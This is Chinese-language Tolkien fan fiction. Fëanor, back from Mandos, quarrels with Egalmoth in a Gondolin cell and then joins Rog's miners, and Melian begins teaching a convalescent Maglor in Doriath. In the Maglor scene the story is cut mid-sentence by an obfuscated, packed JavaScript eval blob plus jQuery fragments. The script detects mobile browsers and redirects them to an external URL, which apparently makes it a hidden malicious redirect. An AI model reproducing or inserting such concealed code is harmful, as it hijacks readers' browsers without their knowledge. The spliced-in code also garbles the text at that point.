埃加尔莫斯走下楼梯，进入那间地牢般的地窖，他曾经的友人在这里度过了一夜。尽管黎明尚未破晓，但他十分确信费艾诺已经醒了，而且很可能没在盘算什么好事。因此，当他看到他的朋友仰面躺在牢房里，盯着天花板发呆时，着实感到意外。更令他震惊的是，没有任何挖掘或爆炸的痕迹。他双臂交叉，靠在费艾诺牢房对面那间空牢房的门上，等待着这位曾经的诺多君王再也无法忍受这片沉默。寂静只持续了几秒。
“埃加尔莫斯·艾卡尔达，我一直觉得你父母给你起名起得很好，”费艾诺咕哝道，仍旧盯着天花板。“‘宽肩者’，继承你父亲成为提力安瑞利亚萨矿场之主，伟大的诺多弓箭手。你怎么能堕落至此，向图茹卡诺俯首称臣？你本该站在我身边的。”
埃加尔莫斯感到自己下巴的肌肉抽搐了一下。“站在你身边？纳罗，你当时胡言乱语——完全疯了。我担心整个创世之力都无法将你从自我毁灭中拯救出来。”
“你本该与我并肩作战。”
“毫无意义地去送死？还是试图给你那顽固的脑袋敲进点理智？两者都毫无意义。你从来听不进我说的任何话。我都记不清上次你听我劝是什么时候了。”见费艾诺没有回应，埃加尔莫斯继续道：“我本不愿离开我的家园，不是为了你的妄想，也不是为了图茹卡诺。”
“可你现在却在这里，在刚多林。”
“是的。当瑞利亚斯的矿工们告诉我，他们想要渡海追寻新的宝石与宝藏时，我无法抛弃他们。”
“多么高尚——你说话的语气真像我弟弟。”
埃加尔莫斯轻哼一声。“但愿我能配得上这样的比较。诺洛芬威英勇地带领我们穿越冰峡，他的领导挽救了许多人的生命。他赢得了我的尊重。”
“可就像你背叛我一样，你又为了我那傲慢自大的侄子离开了诺洛？”
弓箭手的嘴角微微上扬，露出一丝浅笑。“我追随你那位诚实、善良的侄子，原因和你来这里一样。”
“是那个伪装成巨鹰的魔苟斯副官？我还以为那是个挺稀罕的事儿呢。他平时也到处飞着抓精灵吗？”
“不，你这个白痴。我们走的又不是直通大敌要塞的路。你绕道来了这里，如果你相信他不知道你为何而来，那你就比我以为的还要愚蠢。”
“……”
“你看到了漂流物里的夕卡岩矿物，和我们一样。”
“哦对，嗯，诺洛想偷我的样本——那个混球——但没错，我猜你说得对，”费艾诺答道。“所以这意味着你抛弃了诺洛芬威，跑来这里闲逛，寻找矿藏？”
埃加尔莫斯深吸一口气，耐心正在流失。“你和我一样清楚，希斯路姆那些贫瘠的山丘永远无法长久满足瑞利亚萨矿工们。蚀变带证实了我们最初的猜想，表明东南方向存在一个斑岩矿床，恰好沿着一个显著石灰岩层的走向。回声山脉（Echoriath），尽管当时还未命名，却很快占据了我们的思绪。”
“当然，你们在绘制等变质图，而杀害你们君王的敌人却仍在呼吸。你可真是個懦弱的朋友。”
埃加尔莫斯知道费艾诺又开始闹情绪了。他大概是在一个地方待太久，烦躁了。“那一百年你可是死了，那才叫浪费时间。而且那是在围城期间，我们做了别的事，你会发现我的家族拥有刚多林最顶尖的一些弓箭手。但没错，我们确实做了一些测绘。你也会这么做的。”
“……”
“……”
“……好吧，行了……我可能会……‘偶尔’……做点测绘。反正也是你和雅拉留给我做的事。所以是你建立了这座城市？你显然在这儿找到了你的矿床。”
“不。信不信由你，是乌欧牟引领图茹卡诺来到这片隐藏的平原。我们当时知道夕卡岩矿床的大致方向是对的，所以就跟着他来了。那位大海之神肯定知道这里，因为这矿场几乎就在城市的后院里。碳酸盐岩层里有高品质的秘银，伴生着铁矿，足以给诺多族打造许多武器。我们还没开采太多斑岩盖本身，尽管那里富含金和铜。你一定会爱上这些矿场的。它们足以媲美多瑞亚斯。”
“我会欣赏片刻，这倒是真的。但我已经没有时间再花几年去研究蚀变带和斑岩了。你说话的语气就像没有战争一样！也许你为了矿产把自己给卖了。抛弃了芬威的旗帜，成为图茹卡诺麾下的‘天虹’。”
“这是锅嫌壶黑。你整场战争可是为了宝石挑起的，记得吗？”
“你把精灵宝钻称作普通宝石，这是严重的侮辱。更糟的是，你忘记了我父王被谋杀之仇。”
一丝怒火在埃加尔莫斯心中燃起。“不，我没有忘记我君王的死，”他纠正道，语气中渗入了钢铁般的冷硬。“然而，我目睹了许多人在冰上死去。他们的生命就不那么宝贵吗？也许你在曼督斯明白了真相。也许，在内心深处，你对自己的所作所为感到后悔，想要抹去它们。这就是你回来的原因吗？费雅纳罗·库茹芬威，凭着他那巨大的傲慢，以为仅凭自己的意志力就能拨乱反正？”
“我能。这是我的战斗！”费艾诺现在站了起来，眼中燃烧着火焰。“我告诉你，我唯一的遗憾就是把别人牵扯了进来。本不该有赫尔卡拉克西，我本该让我的儿子们留在奈丹妮尔身边，我本该独自来到这里，从我俩头上的安格班碎石中，把那邪恶怪兽的铁冠上属于我的造物割下来。你知道吗，艾卡尔达，就在昨天早上，我还以为我的失败是忽视了敌人的大军？我后悔烧了船只，导致我的一半队伍滞留。现在，我意识到我真正的遗憾应该是根本就不该带队伍来！让我完成我的使命吧。我没要求你介入，尤其是如果你更愿意坐在这里守着你的那些小玩意儿的话。”
埃加尔莫斯带着病态的好奇心想知道，他这位老朋友到底打算如何终结这场牵涉无数半兽人、巨龙、炎魔以及行走在伊露维塔世界中那位最强大的维拉的战争。“行。我看你还是病得不轻，无可救药。我为之前以为我们之间还有哪怕一丝友谊尚存而道歉。”
“我对我的目标无比认真。”
“当然。但总有一天，费雅纳罗，你会明白，从来就不是你一个人在与全世界为敌。”
如果眼神能杀人，埃加尔莫斯知道自己此刻已经在去曼督斯的路上了。你真是个极品。但他看得出这谈话不会有任何结果，于是决定该谈谈他来的真正目的了：“你想去看看矿场吗？现在由罗格大人和他的家族管理。”
“你失去了对矿场的控制？”费艾诺用尖刻的语气问道，然后笑了起来。“而你仍然向我那懦弱的侄子低头。这真是越来越有意思了。”
埃加尔莫斯咬紧牙关。他知道费艾诺一旦这样就会变得多么不可理喻。令人难以置信地讨厌。涅娜，请赐予我你的耐心，他默默祈祷。
“是让渡，不是失去。罗格的家族……嗯……非同一般。他们大多是辛达族，以前是敌人的奴隶。大约在黑暗降临十年前，罗格带领他们从安格班奇迹般地逃脱。安格班的奴隶普遍不受信任，甚至遭人憎恨，所以他们无处容身，直到图茹卡诺接纳了他们。他们尊罗格为主，自称‘怒火之锤家族’。”
“‘怒火之锤家族’，”费艾诺重复道。他突然一拳砸在一根铁栏杆上，吓得埃加尔莫斯差点跳起来。“这名字好多了！如果能加入怒火之锤的麾下，你干嘛还要属于什么‘天虹’？”弓箭手还没来得及纠正他，费雅纳罗就继续说道：“我真遗憾没能亲眼看到你被一个叫罗格·怒火之锤的家伙从你自己的矿场里赶出去。”
埃加尔莫斯拒绝动怒。他太了解纳罗了，不会让他的言语击垮自己。“嗯，我和你不同，我能在技不如人时承认。我的家族更擅长发现矿床和加工宝石；但是，说到秘银、铁、铜以及其他基础矿石，罗格的人在开采方面远超我们。既然这些材料关系到生死存亡，让‘怒火之锤’来管理矿场是最合理的。我的人现在更专注于守卫城市，尽管我们有时仍会做一些珠宝加工。”
“他为什么选那个名字？”
“什么？”这问题简直是从虚空的犄角旮旯里冒出来的。
“罗格在辛达语里意思是‘恶魔’。‘Balrog’是‘力量强大的恶魔’。我在曼督斯学了这门语言。对于一个领主来说，这是个有趣的名字选择，即使是对辛达族领主而言。”
天穹之主捏了捏自己的鼻梁。典型的纳罗，从尖酸刻薄突然跳到好奇，然后又跳回去。总有一天我会死在他手里。“我不知道。问他去，你这个语言怪胎。国王把你分配到他家族了。”
“分配我？我才不会被分配……”费艾诺断言道。“而且图茹卡诺不是我的国王。”
“他是刚多林的国王，而你目前在刚多林——在刚多林的监狱里，纳罗！曼威的翅膀啊！图茹卡诺能把你从城墙上扔下去，而且他真会这么做的！我都忘了你有多蠢了！你怎么能这么聪明又这么蠢？”
费艾诺站起身，“如果我那乳臭未干的侄子想给我指派地方，想在我面前冒充国王……那我得说我们必须决斗，看看谁才真正适合戴那顶王冠。”
“你真是无可救药了，你这白痴。你为什么要来这里，费雅纳罗？你是从曼督斯回来统治贡多林的吗？是索伦送你回来登基的？你不是刚说你要独自夺回精灵宝钻、扳倒敌人吗？”
费艾诺已经张嘴要反驳，但在听到“精灵宝钻”这个词时愣住了。他足足过了一秒才回过神来。“好吧。就像我告诉你的，我来这里是为了纠正我的错误，打败魔苟斯，拯救我的孩子和人民。”
埃加尔莫斯难以置信地挑起眉毛。“你……拯救别人？你忘了你才是那个总是需要被拯救的人吗？”
“我才不是！”
天穹之主打量着牢房的栏杆。“不是吗？”
“呃！你真是让人无法忍受！比诺洛和阿拉结合起来还讨厌！是有只巨鹰！你没看见吗？还有索伦本人！还有人用什么东西打了我。”
“你是被埃克西里昂的笛子打晕的。我说的就是这个！维拉们对你那小小的营救任务大发慈悲吧，因为当你自己都能被笛子打晕的时候，你绝无可能拯救像梅斯罗斯那样强大的人。”
“我感到被侮辱了，艾卡尔达。”
“很好。那么，你是想在这儿烂掉吗？”
“是的。”
“所以那些关于打败敌人的话，又是老一套的费雅纳罗狗屁？”
“这话从天穹之主嘴里说出来可真粗俗。”
“是天虹之主。那么，你到底来不来？”
“好吧。我去我的指派地方。”
“很好，”埃加尔莫斯答道，上前打开牢门。他本以为他这位老朋友会试图逃跑，但他似乎总算长了半盎司的脑子。当然，这半盎司脑子肯定撑不了一分钟就会蒸发掉。
---------------
阿尔巩从柱子后面看着纳牟仍旧难以置信地盯着他的真知晶石。晶石里只显示着空的“审判之环”。这位维拉一整晚都没动过。年轻的精灵叹了口气，穿过房间，走到挨着墙坐着的埃兰薇和阿姆拉斯身边。即使纳牟看见了他，也没有任何表示。
“怎么了？”他坐在他们对面问道。
令人惊讶的是，开口的是阿姆罗德。“曼督斯把我们的堂亲们送到了玛哈那克萨。”
阿尔巩窃笑。想象那两个爱惹是生非的金发家伙突然被传送到审判之环的画面，在他脑海里简直太完美了。“活该。”
埃兰薇捶了下他的肩膀。“阿拉卡诺！”
“就是活该！要是把伊瑞晳、那俩，还有提耶科莫和库茹沃放进一条船里……嗯，故事都不用编了。”
“你要来恩多尔吗？”阿姆罗德问。“我想见我哥哥，但纳牟似乎……”
“相当没生气，嗯？”
“他盯着晶石好几个小时了，”埃兰薇补充道。
“嗯，我想这是送走曼督斯三大祸害要付的一点小代价吧。这肯定是‘先来的最后走’。”
“那你是先来吗？”红发又问了一次。
“不幸的是，我想我最终总会去那里的。不过我要慢慢来。”
“为什么？你不想见芬巩和图茹卡诺吗？”
“想啊。但是，如何不冲进战火是有门道的。我挺痛苦地学到了，冲动会害死你。”
“别装得这么睿智。你才比我大不到一岁，”阿姆罗德提醒他。
“那也比你大，”阿尔巩眨眨眼。“那么，我们去找薇瑞怎么样？她应该能把纳牟从他自我强加的惊恐恍惚中唤醒，然后你就可以再见皮提亚，埃兰薇也可以见到她的家人了。”
“不，没关系，”埃兰薇回答。“现在找薇瑞也帮不了曼督斯，他只是需要一点时间独处。他看到自己把阿拉芬威家的孩子直接送到曼威那里，吓得不轻。我想他本来希望整个行动能稍微低调点的。”
“纳牟行事一点都不低调，尽管他假装不是这样，”阿拉卡诺评论道。“好吧。既然现在只剩下我们三个和祖父芬威，我可以带你们去我最喜欢的地方。”
“我可不需要去泡你的温泉，小叔子。”
“你当然需要！对皮肤好。”
“我们连皮肤都没有！”
“那也对它好！来吧！”他一把将埃兰薇拉起来，并向那位费艾诺之子示意跟上。
---------------
那天早上晚些时候，费艾诺站在埃加尔莫斯身边，心中充满敬畏。面前是一条巨大的隧道，中央铺着小型轨道。两侧站着手持鹤嘴镐的精灵，正奋力挥向岩壁及其中的矿脉。
“加油，兄弟们！自由没让我们变软！记住将在我们刀刃上流淌的黑色血液！这些刀刃就是用这座矿场出产的秘银打造的！”一个洪亮的声音从深处传来。这肯定就是那位大名鼎鼎的“罗格”了。
欢呼声在矿室中回荡。而费艾诺，这个一生从未被人说过“过于尊贵”的人，突然觉得自己的皮肤过于光滑，双手过于细嫩。他的手指抽动着，渴望劳作。他感觉到埃加尔莫斯在窃笑，但拒绝去看他那张得意的脸。
突然，他们附近的一个精灵从石壁上撬下一块盘子大小的岩石。他闷哼一声，然后喊道：“如果你看见我过来……”
众人再次欢呼，其他人也跟着唱起了副歌，歌声与他们挥镐的节奏合拍。
“……最好靠边站
很多敌人没躲开，很多敌人就玩完
一拳是铁，一拳是钢
要是右拳没揍到你
那左拳也让你够呛！”
虽然这首歌不熟悉，但费艾诺断定自己挺喜欢它。不久，他和埃加尔莫斯就来到一个赤膊着上身、挥舞着巨型石镐的精灵面前。他背部肌肉虬结，布满交叉的伤疤。“我挖了十六吨铁矿！”他唱着。然后他感觉到诺多族的注视，转过身来。“费雅纳罗！”他咧嘴笑着打招呼。“大家伙儿！”罗格的声音盖过了镐子撞击的叮当声。“炎之心来加入我们了！”
矿室里爆发出欢呼。费雅纳罗感到自己的嘴角抽动了一下，绽开一个微笑。他已经很久没有在宣布自己到来时听到欢呼了。“罗格大人？”
“正是在下。虽然我没有你那样高贵的血统。我和辛葛看起来能有多不像？”
费艾诺打量着这位精灵，从他几乎被灯火映成红色的黑发，到他那锐利的绿眼睛，他看起来更像诺多族而非辛达族。“我认为凭实力赢得的头衔无可厚非，”他答道。
“我希望下次能介绍你为‘炎魔杀手’。给，”罗格伸手从腰带上解下一把石锤，朝费艾诺扔过去。“我知道你最擅长珠宝加工，但贝烈瑞安德更需要武器而不是项链。今天是采矿日。如果你愿意，明天可以去锻炉帮忙。”
费艾诺知道锻炉会更合他的胃口，但他心中却涌起一股奇怪的渴望。他要让这些辛达族看看，真正的诺多族是如何开掘大地的。他转身在矿里寻找一个空位。
“嘿！发光眼！过来挨着我干，”费艾诺转身，看到一个年轻的辛达族，深金色的头发紧紧编成辫子贴在头皮上。他看起来比凯勒巩还要野性。
费雅纳罗走了过去，那个精灵在他正开采的一条大秘银矿脉旁给他腾出了地方。“你能把矿石和围岩区分开吗？”
“真的吗？”他问那年轻人。他以为我是谁，街上随便拉来的农夫吗？
“就是确认一下，”他耸耸肩。“我叫塞瑞格。”
“鲜血，”费艾诺翻译道。“你们这些人取的名字真有意思。”
“安格班是个有意思的地方。在那里赢得的名字也不例外。别像在多瑞亚斯宫廷里品酒论葡萄那样磨磨蹭蹭的。让我见识见识传说中的诺多族猛男到底有多大本事。”
费艾诺的斐亚露出了微笑。他回头看了一眼，正看到埃加尔莫斯像逃避即将发生的灾难一样，径直向矿场入口冲去。好吧。别看了。费雅纳罗将他积压的怨念化作力量，用尽全力挥动了石锤，带着维林诺王子的威势。岩壁在冲击下震颤，镐头直没至柄。一时间，其他矿工都安静下来。费艾诺笑得更开了，他用力一拔，将镐从岩石中抽出，一大块矿石随之脱落，砰地一声砸在地上。欢呼声再次响起。
“看来发光眼是个矿工！”塞瑞格宣布道，拍了拍费艾诺的背。“姿势差点意思，不过可以纠正。”
费艾诺陶醉在这赞美中。他回到岩壁前，再次挥镐。很快，其他人也加入了进来。然而，仅仅过了大约三十秒，费艾诺就感到自己的背部和手臂肌肉在尖叫。那对矿脉的第一次成功打击消耗了他相当多的体力，而这具新的身体……然后费艾诺想起了他在艾克凯亚昏迷的那三周。谢了，乌欧牟。让我这么虚弱，真是谢谢你了，他暗自咕哝。
“哇哦！”塞瑞格喊道。“没必要第一天就把自己累垮。”
“我没事，”费艾诺回答。他刻意忽略抗议的肌肉，决心今天一定要跟上他们的节奏。他是芬威的长子，精灵宝钻的锻造者，身心俱佳的最强者。采矿对他来说不成问题。
他丝毫不知，埃加尔莫斯已经去找伊缀尔索要医疗用品了。
---------------
玛格洛尔从他有生以来最美妙的一场睡眠中醒来。那感觉就像是从深海之底浮出水面。他缓缓睁开眼睛，看到自己绝对不是在诺多族的任何石造堡垒里。在他上方，树枝交错成精致的华盖，翠绿的叶片和缀满宝石的花朵表明，这些并非活树枝，而是由巧手雕刻而成。
盖在他身上的不是他习以为常的厚毛皮，而是某种精致的织物，就像凯兰崔尔可能会有的那种……哦。
记忆如潮水般涌回。遭遇半兽人，多瑞亚斯会唱歌的植物，最后是那无尽的歌声如何让他的头不停地旋转，直到他在王座厅里昏倒。他一度怀疑自己是不是被杀了，这里是不是曼督斯。然而，这装饰似乎不合纳牟的品味。另一方面，他也没在地牢里，如果他还活着并且身处灰袍君王的国度，他本以为自己会在地牢里的。
“向你致意，堂兄，”一个相当苦涩的声音传来。玛格洛尔转头，看到凯兰崔尔本人站在一个拱形门口，端着一个托盘，上面放着茶壶和杯子。她看起来并不觉得有趣。
“你好，阿塔妮斯，”他礼貌地回答。“我猜这里就是多瑞亚斯了？”
她翻了个白眼。“是的。完全出于我所不知道的原因，王后决定把你当宠物养着。”
玛格洛尔皱起眉头。“呃……好吧？”他不太确定该如何回应。
“我没把你当宠物养，”另一个声音回答道。从他堂亲身后出现了美丽安，那位迈雅，身着精致的紫罗兰色长袍。“你将是我的学生。好了，凯兰崔尔，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424013|200847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你给我们的客人茶了吗？”
凯兰崔尔轻蔑地说：“我不明白为什么我……”
美丽安用一个眼神打断了她。
菲纳芬的女儿显得相当不高兴，但她走过去把托盘放在玛格洛尔的床头柜上。她朝门口走去，但美丽安已经走进来并关上了门，挡住了她的去路。
“你们两个让我想起生气的小孩。你们多大了？我知道玛卡劳瑞做过什么，凯兰崔尔。我也知道当我和你一直在学习的时候，他在和巨龙搏斗。也别忘了，我们不是争吵的矮人也不是嘶叫的小猫。我希望你们俩在我的领地内保持一定的礼仪。”
玛格洛尔仿佛看到了奈丹妮尔的影子。他不需要被人当孩子管。他是个成年人了。
“明白了吗？”她重复道。这个念头算是白想了。
凯兰崔尔垂下眼帘。“是的，美丽安。”
然后迈雅的目光锐利地看向玛格洛尔。
“当然，”他回答。
“好极了。那么，玛卡劳瑞还是玛格洛尔，你更喜欢哪个？你还能听到伊露维塔世界的歌声吗？”
玛格洛尔意识到他真该多睡一会儿。他还没准备好这么早应对这些。“都可以。我觉得你丈夫可能更喜欢我们直接叫玛格洛尔。还有……伊露维塔世界的歌声？”
“那是自然本身的歌声。从天空的飞鸟到海中的游鱼，甚至那些你习惯认为是没有生命的自然元素，都在吟唱这首歌声。它是爱努的大乐章本身的回响，支撑着整个世界。精灵的耳朵本不应能听到它。”
玛格洛尔咬住嘴唇，看向凯兰崔尔。他听到了。那让他感到不适。然而，此刻他分辨不出。“不，我现在听不到，但我昨晚确实听到了，”他如实回答。
美丽安点点头。“那是因为我为你屏蔽了它，但你必须学会如何自己做到这一点。第一课是要学会如何‘定心’。掌控是区分伟大歌者与危险歌者的关键。”
玛格洛尔以前也听说过掌控的重要性，但通常是从武器大师那里讨论剑术，而不是从任何音乐老师这里。
美丽安读懂了他的想法。“我说歌者，不是指吟游诗人。我指的是埃莱兰，瓦林语里‘力量歌者’的意思。你的嗓音是比任何刀剑都强大得多的武器。它蕴含着治愈与杀戮、创造与毁灭的潜力。我会教你如何掌控它。你的堂亲，”她示意凯兰崔尔，“没有你那样的歌唱天赋，但她在预见、意识交流与隐藏方面非常强大。”
“他怎么能听到伊露维塔世界的歌声？我以为只有爱努才拥有那种力量。”
“嗯，看来，”美丽安回答，“玛格洛尔是被命运触碰过的人。不要为别人的天赋而烦恼，我亲爱的。只专注于你自己和你自己的学习，嫉妒是魔苟斯的道路。”
凯兰崔尔没有回答。
美丽安从门口走开。“去图书馆，把给国王抄写的那份南多语文本完成。我和玛格洛尔会开始学习。最终，他会准备好和你一起练习，但不是现在。”
“好的，夫人，”她行了礼，走向门口，没有回头看一眼还躺在床上的玛格洛尔。
“我哥哥在哪？”他的堂亲一离开，他就问道。“你对阿塔妮斯的回答很隐晦。我到底怎么了？”
“希姆凛的主人今早离开了。”
玛格洛尔脸上瞬间血色尽失。“什么？”他问。
“他想留下，但国王命令他黎明即离开。多瑞亚斯与费艾诺众子之间的关系仍然紧张。”
“那为什么我没在地牢里？”
“真相是，玛卡劳瑞，我认为你本不该活着。那种半兽人毒药本该杀死你。然而，出于某个我还不知道的原因，纳牟把你送回了人间。他当时很笨拙，失去了控制，并且将他的一部分先天力量流失给了你。在瓦林语里，我们称之为‘lamassu’，或灵性力量。每个爱努都有一定程度的这种力量。米尔寇拥有的最多。它是爱努存在或自我的一部分。可以把它想象成你自己斐亚的一个度量单位。然而，米尔寇——打个比方——几个世纪以来一直在将他自己的部分‘lamassu’注入伊露维塔世界本身。这使得巨龙和半兽人大军得以存在，但同时也使他自身变得虚弱和脆弱。纳牟在将你从死亡中送回时，很可能无意中给了你一点他自己的‘lamassu’。”
玛格洛尔艰难地消化着这些话。“所以我体内有一部分纳牟的灵魂？”
美丽安耸耸肩。“在某种程度上，是的。你拥有他的一部分力量和强度。因此，你能像他一样听到伊露维塔世界的歌声，而且你有没有注意到瓦林语不再刺痛你的耳朵了？但你必须学会自己掌控这种力量。你必须接受训练，否则你会成为自己、你兄弟们以及所有人的巨大危险。”
玛格洛尔叹了口气。这听起来像无稽之谈，但又莫名地合乎逻辑。显然，他真的疯了。“好吧。我愿意。很明显，你对辛葛做了什么才让他允许这一切，所以我会配合。”
“哦，他认为你是我的人质。别担心，你和凯兰崔尔一样，是我的学生。”
人质？哦，一如啊……
美丽安双手交叠。“我们首先要学习如何冥想。去穿好衣服吧。准备好了，我就带你去我最喜欢的独处和思考的地方。”
玛格洛尔心想，也许被关在地牢里听起来也没那么糟。他怀疑凯勒巩是不是也和欧洛米一起“冥想”过，反正他是不信的。这一定是专为他一个人准备的独特酷刑。
尽管心有疑虑，他还是发现自己乖乖服从了命令。起床后，他在浴室门上发现了一件挂着的蓝色束腰外衣。款式相当简单，领口有金色刺绣。可以了。他套上头，梳了梳头发，甩到肩后。以前的玛卡劳瑞看到自己如此朴素的穿着会吓坏的，但玛格洛尔发现自己根本不在乎了。决定拖延无益，他赤着脚（没人费心给他放鞋）走到卧室门口，推开了门。美丽安正在那里等他。她笑了笑，走在前面，示意他跟上。他们穿过曲折的走廊，玛格洛尔注意到这位迈雅也赤着脚。
他断定，辛达族正式归类为古怪一族。
最后，他们来到一扇小木门前。在王后的触碰下，门吱呀一声开了，露出一道狭窄的螺旋楼梯。美丽安用一只优雅的手提起裙摆，向上走去，通向未知的地方。玛格洛尔惊愕地发现脚下的台阶是由扭曲的树枝构成的。即便如此，也没有任何木刺划伤他的脚。他们来到另一扇门前，推开后，眼前是一个阁楼般的空间。金色的光芒如同萤火虫般悬浮在空中，茂密的绿色植物构成了墙壁和天花板。和楼梯一样，地板也是由无数扭曲的枝条和细枝编织而成。空气中弥漫着一种沉重而慵懒的睡意。
“欢迎来到我丈夫所谓的我的‘树屋’。露西恩也开始这么叫，于是名字就沿用了下来，虽然它形容得很差劲。这是我需要避开宫廷时来的地方。只有露西恩、辛葛和我知道这里。”
“你带我来这里？”玛格洛尔问。
“当然。你现在是我的学生了。对我来说，这几乎就让你成了我的儿子。”
玛格洛尔咽了口唾沫。他陷入的境地比他最初想象的深得多。
“名字的事没关系。辛葛也有他自己的地方，他会在那里见朋友，喝酒，讨论男人间的话题。我给它取名叫‘男人窝’。他告诉我他讨厌这个名字，我只是回答说他的讨厌很不幸，因为‘男人窝’这名字会比他的名字流传得更久。预见真是一种祝福，真的。好了，够了。去找个舒服的地方坐下吧。”
玛格洛尔不确定自己能否感到舒服，但他在对面墙附近找到了一个足够舒适的角落。
“好。现在闭上你的眼睛。今天我要你做的只是花二十分钟清空你心中的所有烦恼和忧虑。如果你想成为‘埃莱兰’，力量歌者，你必须首先教会自己不被忧虑分心。”
玛格洛尔睁开一只眼看着她。你说得轻巧。你没有一个兄弟被独自赶进荒野。你也没有另一个兄弟失踪。你心里没有烙印着誓言。
美丽安点点头。“没关系，玛卡劳瑞。从第一个开始。关于梅斯罗斯的那个。”
有些人会不喜欢你读他们的心思。
“专注。你对梅斯罗斯的担忧……你担心他独自一人，但你能做什么呢？去找他，你得先打败我，越过边境守卫，然后在荒野里找到他。而这一切的结果，只会是你死在他怀里，因为纳牟的‘lamassu’仍然会撕裂你。”
玛格洛尔觉得没必要搭理她。
“你无法掌控梅斯罗斯的情况，所以放下它。让这份忧虑像雨水落入西瑞安河一样从你身上流走。”
玛格洛尔叹了口气。他不情愿地在心里把他关于哥哥的所有担忧打包，试图让它们消散。我无法掌控，他默念。我只会让事情更糟。所以我要放下哥哥。
“不，”美丽安突然说。“也不要内疚，那同样会毁了你。顺便也把那内疚放下吧，这不是你的错。”
“好吧，”他又闭上了眼睛，希望这位迈雅消失。
“你没在做。”
玛格洛尔叹了口气。“先处理忧虑——那些已经够难的了，”他轻声说。
美丽安顿住了，然后露出温柔的笑容。“好吧。抱歉逼你了。是的，先处理忧虑。”
玛格洛尔再次尝试，首先专注于放下对梅斯罗斯的担忧，然后是卡兰希尔和他驻守狭地的人民，最后是内心深处关于誓言的深切忧虑。这些他不太能对付，但他告诉自己誓言已经发下，他做什么也无法改变。如果他今天要迷失自己，至少美丽安会在那里阻止他。
很快，玛格洛尔就忘记了时间，也许在这个有着奇异浮光和树根地板的地方，时间本就不存在。但当他终于再次睁开眼睛时，他意识到自己感觉轻松了许多，仿佛某种黑暗黏腻的东西从他灵魂中脱落了。他一度好奇压力和忧虑是否真有重量，但随即断定这更该是儒米尔去思考的问题。